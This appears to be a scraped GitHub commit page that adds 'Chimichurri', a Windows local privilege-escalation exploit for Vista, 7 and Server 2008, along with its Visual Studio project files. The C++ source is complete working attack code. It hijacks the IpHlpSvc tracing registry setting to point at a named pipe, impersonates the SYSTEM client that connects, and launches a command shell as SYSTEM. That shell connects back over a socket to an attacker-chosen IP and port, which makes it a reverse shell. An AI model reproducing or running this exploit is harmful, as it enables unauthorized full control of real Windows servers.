Skip to content

Commit 02dc375

Browse files
committedJun 22, 2015
Adjustments to get it to compile in Visual Studio 2013
1 parent 890065c commit 02dc375

29 files changed

+554
-0
lines changed
 

‎Chimichurri.cpp

+168
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,168 @@
1+
2+
// Chimichurri -> Windows 2008 R1 & R2, Windows Vista and Windows 7 exploit
3+
// by Cesar Cerrudo
4+
// Argeniss - Information Security & Software
5+
6+
// Notes:
7+
// -Must be run by a user with impersonation and asgin primary token privileges, it can be used on IIS 7 & 7.5, SQL Server or other Windows services.
8+
// -Chimichurri is an argentinian sauce used on asado and churrasco, the exploit name was an idea of Federico Kirschbaun, thanks Federico.
9+
10+
#include "stdafx.h"
11+
12+
/* We need this to compile properly; ch33kymix [at] whitedome.com.au*/
13+
#pragma comment(lib, "Ws2_32.lib")
14+
15+
DWORD dwPort;
16+
LPSTR sIP;
17+
18+
19+
DWORD SpawnReverseShell(HANDLE hToken, DWORD dwPort,LPSTR sIP)
20+
{
21+
HANDLE hToken2,hTokenTmp;
22+
PROCESS_INFORMATION pInfo;
23+
STARTUPINFO sInfo;
24+
WSADATA wd;
25+
SOCKET sock;
26+
struct sockaddr_in sin;
27+
int size = sizeof(sin);
28+
29+
memset(&sin, 0, sizeof(sin));
30+
WSAStartup(MAKEWORD( 1, 1 ), &wd);
31+
sock=WSASocket(PF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
32+
sin.sin_family = AF_INET;
33+
bind(sock, (struct sockaddr*)&sin, size);
34+
sin.sin_port = htons(dwPort);
35+
sin.sin_addr.s_addr = inet_addr(sIP);
36+
37+
DWORD dwRes=connect(sock, (struct sockaddr*)&sin, size);
38+
39+
if (dwRes!=0){
40+
printf ("/Chimichurri/-->Could not connect to %s<BR>",sIP);
41+
return 0;
42+
}
43+
44+
ZeroMemory(&sInfo, sizeof(STARTUPINFO));
45+
ZeroMemory(&pInfo, sizeof(PROCESS_INFORMATION));
46+
sInfo.cb= sizeof(STARTUPINFO);
47+
sInfo.lpDesktop= "WinSta0\\Default"; //so we don't have to wait on the process
48+
49+
sInfo.dwFlags = STARTF_USESTDHANDLES;
50+
sInfo.hStdInput = sInfo.hStdOutput = sInfo.hStdError =(HANDLE) sock;
51+
52+
hTokenTmp=hToken;
53+
54+
DuplicateTokenEx(hTokenTmp,MAXIMUM_ALLOWED,NULL,SecurityImpersonation, TokenPrimary,&hToken2) ;
55+
56+
LPTSTR lpComspec;
57+
lpComspec= (LPTSTR) malloc(1024*sizeof(TCHAR));
58+
GetEnvironmentVariable("comspec",lpComspec,1024);//it won't work if cmd.exe used as commandline param
59+
60+
dwRes=CreateProcessAsUser(hToken2, lpComspec ,NULL, NULL, NULL, TRUE, NULL, NULL, NULL, &sInfo, &pInfo);
61+
62+
CloseHandle(hTokenTmp);
63+
CloseHandle(hToken2);
64+
65+
return dwRes;
66+
67+
}
68+
69+
bool SetRegistryValues(bool on)
70+
{
71+
HKEY hKey;
72+
char a[]="\\\\localhost\\pipe\\x";
73+
char b[]="%windir%\\tracing";
74+
char *x=a;
75+
DWORD y=1,dwsize=strlen(a)+1;
76+
bool result=false;
77+
78+
if(!on){
79+
x=b;
80+
y=0;
81+
dwsize=strlen(b)+1;
82+
}
83+
84+
if( RegOpenKeyEx(HKEY_LOCAL_MACHINE,TEXT("SOFTWARE\\Microsoft\\Tracing\\IpHlpSvc"),NULL,KEY_SET_VALUE|KEY_WOW64_64KEY, &hKey) == ERROR_SUCCESS )
85+
{
86+
if (RegSetValueEx(hKey,"FileDirectory",NULL,REG_EXPAND_SZ,(PBYTE)x,dwsize)== ERROR_SUCCESS )
87+
{
88+
if (RegSetValueEx(hKey,"EnableFileTracing",NULL,REG_DWORD,(PBYTE)&y,sizeof(DWORD))== ERROR_SUCCESS )
89+
{
90+
result=true;
91+
}
92+
}
93+
RegCloseKey(hKey);
94+
}
95+
96+
return result;
97+
}
98+
99+
DWORD WINAPI ThreadProc(LPVOID lpParameter){
100+
101+
char szPipe[]= "\\\\.\\pipe\\x\\IpHlpSvc.log";
102+
103+
HANDLE hPipe = 0,hToken=0;
104+
hPipe = CreateNamedPipe (szPipe, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL);
105+
if (!hPipe) {
106+
printf ("/Chimichurri/-->Couldn't create pipe<BR>");
107+
SetEvent(*((HANDLE *)lpParameter));
108+
return 0;
109+
}
110+
111+
ConnectNamedPipe (hPipe, NULL);
112+
113+
if (!ImpersonateNamedPipeClient (hPipe)) {
114+
printf ("/Chimichurri/-->Error impersonating pipe<BR>");
115+
CloseHandle(hPipe);
116+
SetEvent(*((HANDLE *)lpParameter));
117+
return 0;
118+
}
119+
120+
121+
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &hToken )) {
122+
printf ("/Chimichurri/-->Couldn't get token<BR>");
123+
SetEvent(*((HANDLE *)lpParameter));
124+
return 0;
125+
}
126+
CloseHandle(hPipe);
127+
128+
printf ("/Chimichurri/-->Got SYSTEM token...<BR>");
129+
printf ("/Chimichurri/-->Running reverse shell...<BR>");
130+
131+
SpawnReverseShell(hToken,dwPort,sIP);
132+
133+
SetEvent(*((HANDLE *)lpParameter));
134+
return 1;
135+
}
136+
137+
int _tmain(int argc, _TCHAR* argv[])
138+
{
139+
DWORD lpThreadId;
140+
141+
printf ("/Chimichurri/-->This exploit gives you a Local System shell <BR>");
142+
143+
if (argc != 3) {
144+
printf ("/Chimichurri/-->Usage: Chimichurri.exe ipaddress port <BR>");
145+
return 0;
146+
}
147+
148+
sIP= argv[1];
149+
dwPort= atoi(argv[2]);
150+
151+
HANDLE hEvent=CreateEvent(NULL,false,false,NULL);
152+
153+
CreateThread(NULL,NULL,ThreadProc,&hEvent,NULL,&lpThreadId);
154+
155+
printf ("/Chimichurri/-->Changing registry values...<BR>");
156+
if (!SetRegistryValues(true)) {
157+
printf ("/Chimichurri/-->Couldn't set registry values<BR>");
158+
return 0;
159+
}
160+
161+
WaitForSingleObject(hEvent,INFINITE);
162+
163+
printf ("/Chimichurri/-->Restoring default registry values...<BR>");
164+
SetRegistryValues(false);
165+
166+
return 0;
167+
}
168+

‎Chimichurri.exe

95 KB
Binary file not shown.

‎Chimichurri.ncb

59 KB
Binary file not shown.

‎Chimichurri.sdf

31.8 MB
Binary file not shown.

‎Chimichurri.sln

+21
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
Microsoft Visual Studio Solution File, Format Version 12.00
2+
# Visual Studio Express 2013 for Windows Desktop
3+
VisualStudioVersion = 12.0.31101.0
4+
MinimumVisualStudioVersion = 10.0.40219.1
5+
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Chimichurri", "Chimichurri.vcxproj", "{94A3EC47-DAA8-4CBD-8E65-4923F764C659}"
6+
EndProject
7+
Global
8+
GlobalSection(SolutionConfigurationPlatforms) = preSolution
9+
Debug|Win32 = Debug|Win32
10+
Release|Win32 = Release|Win32
11+
EndGlobalSection
12+
GlobalSection(ProjectConfigurationPlatforms) = postSolution
13+
{94A3EC47-DAA8-4CBD-8E65-4923F764C659}.Debug|Win32.ActiveCfg = Debug|Win32
14+
{94A3EC47-DAA8-4CBD-8E65-4923F764C659}.Debug|Win32.Build.0 = Debug|Win32
15+
{94A3EC47-DAA8-4CBD-8E65-4923F764C659}.Release|Win32.ActiveCfg = Release|Win32
16+
{94A3EC47-DAA8-4CBD-8E65-4923F764C659}.Release|Win32.Build.0 = Release|Win32
17+
EndGlobalSection
18+
GlobalSection(SolutionProperties) = preSolution
19+
HideSolutionNode = FALSE
20+
EndGlobalSection
21+
EndGlobal

‎Chimichurri.suo

9 KB
Binary file not shown.

‎Chimichurri.v12.suo

19.5 KB
Binary file not shown.

‎Chimichurri.vcproj

+154
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,154 @@
1+
<?xml version="1.0" encoding="Windows-1252"?>
2+
<VisualStudioProject
3+
ProjectType="Visual C++"
4+
Version="7.10"
5+
Name="Chimichurri"
6+
ProjectGUID="{94A3EC47-DAA8-4CBD-8E65-4923F764C659}"
7+
Keyword="Win32Proj">
8+
<Platforms>
9+
<Platform
10+
Name="Win32"/>
11+
</Platforms>
12+
<Configurations>
13+
<Configuration
14+
Name="Debug|Win32"
15+
OutputDirectory="Debug"
16+
IntermediateDirectory="Debug"
17+
ConfigurationType="1"
18+
CharacterSet="2">
19+
<Tool
20+
Name="VCCLCompilerTool"
21+
Optimization="0"
22+
PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE"
23+
MinimalRebuild="TRUE"
24+
BasicRuntimeChecks="3"
25+
RuntimeLibrary="5"
26+
UsePrecompiledHeader="3"
27+
WarningLevel="3"
28+
Detect64BitPortabilityProblems="TRUE"
29+
DebugInformationFormat="4"/>
30+
<Tool
31+
Name="VCCustomBuildTool"/>
32+
<Tool
33+
Name="VCLinkerTool"
34+
AdditionalOptions="psapi.lib Ws2_32.lib rpcrt4.lib"
35+
OutputFile="$(OutDir)/Chimichurri.exe"
36+
LinkIncremental="2"
37+
GenerateDebugInformation="TRUE"
38+
ProgramDatabaseFile="$(OutDir)/Chimichurri.pdb"
39+
SubSystem="1"
40+
TargetMachine="1"/>
41+
<Tool
42+
Name="VCMIDLTool"/>
43+
<Tool
44+
Name="VCPostBuildEventTool"/>
45+
<Tool
46+
Name="VCPreBuildEventTool"/>
47+
<Tool
48+
Name="VCPreLinkEventTool"/>
49+
<Tool
50+
Name="VCResourceCompilerTool"/>
51+
<Tool
52+
Name="VCWebServiceProxyGeneratorTool"/>
53+
<Tool
54+
Name="VCXMLDataGeneratorTool"/>
55+
<Tool
56+
Name="VCWebDeploymentTool"/>
57+
<Tool
58+
Name="VCManagedWrapperGeneratorTool"/>
59+
<Tool
60+
Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
61+
</Configuration>
62+
<Configuration
63+
Name="Release|Win32"
64+
OutputDirectory="Release"
65+
IntermediateDirectory="Release"
66+
ConfigurationType="1"
67+
CharacterSet="2">
68+
<Tool
69+
Name="VCCLCompilerTool"
70+
PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE"
71+
RuntimeLibrary="4"
72+
UsePrecompiledHeader="3"
73+
WarningLevel="3"
74+
Detect64BitPortabilityProblems="TRUE"
75+
DebugInformationFormat="3"/>
76+
<Tool
77+
Name="VCCustomBuildTool"/>
78+
<Tool
79+
Name="VCLinkerTool"
80+
OutputFile="$(OutDir)/Uroboros2.exe"
81+
LinkIncremental="1"
82+
GenerateDebugInformation="TRUE"
83+
SubSystem="1"
84+
OptimizeReferences="2"
85+
EnableCOMDATFolding="2"
86+
TargetMachine="1"/>
87+
<Tool
88+
Name="VCMIDLTool"/>
89+
<Tool
90+
Name="VCPostBuildEventTool"/>
91+
<Tool
92+
Name="VCPreBuildEventTool"/>
93+
<Tool
94+
Name="VCPreLinkEventTool"/>
95+
<Tool
96+
Name="VCResourceCompilerTool"/>
97+
<Tool
98+
Name="VCWebServiceProxyGeneratorTool"/>
99+
<Tool
100+
Name="VCXMLDataGeneratorTool"/>
101+
<Tool
102+
Name="VCWebDeploymentTool"/>
103+
<Tool
104+
Name="VCManagedWrapperGeneratorTool"/>
105+
<Tool
106+
Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
107+
</Configuration>
108+
</Configurations>
109+
<References>
110+
</References>
111+
<Files>
112+
<Filter
113+
Name="Source Files"
114+
Filter="cpp;c;cxx;def;odl;idl;hpj;bat;asm;asmx"
115+
UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}">
116+
<File
117+
RelativePath=".\Chimichurri.cpp">
118+
</File>
119+
<File
120+
RelativePath=".\stdafx.cpp">
121+
<FileConfiguration
122+
Name="Debug|Win32">
123+
<Tool
124+
Name="VCCLCompilerTool"
125+
UsePrecompiledHeader="1"/>
126+
</FileConfiguration>
127+
<FileConfiguration
128+
Name="Release|Win32">
129+
<Tool
130+
Name="VCCLCompilerTool"
131+
UsePrecompiledHeader="1"/>
132+
</FileConfiguration>
133+
</File>
134+
</Filter>
135+
<Filter
136+
Name="Header Files"
137+
Filter="h;hpp;hxx;hm;inl;inc;xsd"
138+
UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}">
139+
<File
140+
RelativePath=".\stdafx.h">
141+
</File>
142+
</Filter>
143+
<Filter
144+
Name="Resource Files"
145+
Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx"
146+
UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}">
147+
</Filter>
148+
<File
149+
RelativePath=".\ReadMe.txt">
150+
</File>
151+
</Files>
152+
<Globals>
153+
</Globals>
154+
</VisualStudioProject>

0 commit comments

Comments
 (0)
Please sign in to comment.